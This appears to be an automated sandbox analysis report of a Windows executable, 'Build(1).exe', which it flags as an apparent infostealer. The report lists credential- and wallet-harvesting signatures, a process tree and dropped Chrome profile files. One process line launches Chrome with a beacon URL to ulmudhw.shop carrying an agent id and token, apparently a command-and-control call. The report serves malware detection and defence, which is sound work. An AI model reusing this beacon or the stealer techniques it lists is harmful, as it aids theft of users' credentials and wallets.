Analysis

  • max time kernel
    149s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    25/04/2026, 19:58

General

  • Target
    Build(1).exe
  • Size 337KB
  • Sample260425-yqasrag15v
  • SHA256 a9091aba78af2e7fc794e8d0c9d17ed34347259fcf79395485135162989f6d83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Build(1).exe
    "C:\Users\Admin\AppData\Local\Temp\Build(1).exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3792
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" ulmudhw.shop/api/set_agent?id=93367C4ABD24956701AEC7B30ADF174C&token=4e92ffe9c8490e49733684aeba8be2ca5f&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3716
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0x88,0x108,0x7ffef26dc728,0x7ffef26dc734,0x7ffef26dc740
        3⤵
          PID:1160
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,18119033457138056026,16301635582233755749,262144 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1968 /prefetch:2
          3⤵
            PID:3548
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,2957765775355981474,6572554713345945855,524288 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2276 /prefetch:11
            3⤵
            • System Time Discovery
            PID:4452
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2396,i,2276647630485403324,7184584210208393942,524288 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2652 /prefetch:13
            3⤵
              PID:1228
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3088,i,3828281549342879784,11160848063576758569,2097152 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3260 /prefetch:1
              3⤵
                PID:3056
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3096,i,12390151406641320766,17646867782161181998,2097152 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3288 /prefetch:1
                3⤵
                  PID:4728
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4232,i,3301349108750900203,15658507849384173794,2097152 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4248 /prefetch:9
                  3⤵
                    PID:3576
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,11852759601620353133,12640532179181993135,524288 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4656 /prefetch:12
                    3⤵
                      PID:1132
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5816,i,17453297597269258583,5027401179842993589,524288 --field-trial-handle=1980,i,11640485409641413761,11852716034896508638,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5756 /prefetch:14
                      3⤵
                        PID:2332
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:3592
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:3272

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            BrowsingTopicsState

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                            • Size 414B
                            • SHA256 0b09bf59bff89f77349d3ed8d42a92529fea0f935a80ac02438afbcf5664c2bc
                            • MD5 SHA1 SHA512 TLSH

                            Cookies

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                            • Size 20KB
                            • SHA256 178fb9dfecb66f8ab490975586cfb119842f54a9ddc1ae348ee0ec79c8631f28
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 13KB
                            • SHA256 b52145aa4676deddd0103020cc747d2941f5fa956cfd1b5607615af7654b4a20
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Secure Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                            • Size 17KB
                            • SHA256 2328ea9073549adab02fe99e0127dcb5999d2517b99cac1f85861fd5d1268867
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 e0e69158c385be386ffc77afa8a43c6d928d4faa0ead11c0de2d57f330edde81
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 90KB
                            • SHA256 c7f398f2bdb283205380eba0e44ac4212a95fdf433155fc99dcda64ae7eb05f2
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 196KB
                            • SHA256 1ec5c6a353c9f01f7b8bbcc79ebff12a8c2f814541f6b830f76f524f227845e6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/3792-65-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-77-0x0000000003220000-0x0000000003C1C000-memory.dmp

                            memory/3792-54-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-52-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-51-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-50-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-64-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-63-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-61-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-48-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-47-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-71-0x0000000003220000-0x000000000355A000-memory.dmp

                            memory/3792-62-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-55-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-78-0x0000000003220000-0x0000000003F56000-memory.dmp

                            memory/3792-79-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-53-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-49-0x0000000003320000-0x0000000003321000-memory.dmp

                            memory/3792-36-0x0000000000C50000-0x0000000000D0B000-memory.dmp

                            memory/3792-92-0x0000000000C50000-0x0000000000D0B000-memory.dmp

                            memory/3792-93-0x0000000003220000-0x000000000355A000-memory.dmp

                            memory/3792-94-0x0000000003220000-0x0000000003C1C000-memory.dmp

                            memory/3792-95-0x0000000003220000-0x0000000003F56000-memory.dmp

                            memory/3792-96-0x0000000000C50000-0x0000000000D0B000-memory.dmp

                            memory/3792-99-0x0000000000C50000-0x0000000000D0B000-memory.dmp

                            memory/3792-103-0x0000000000C50000-0x0000000000D0B000-memory.dmp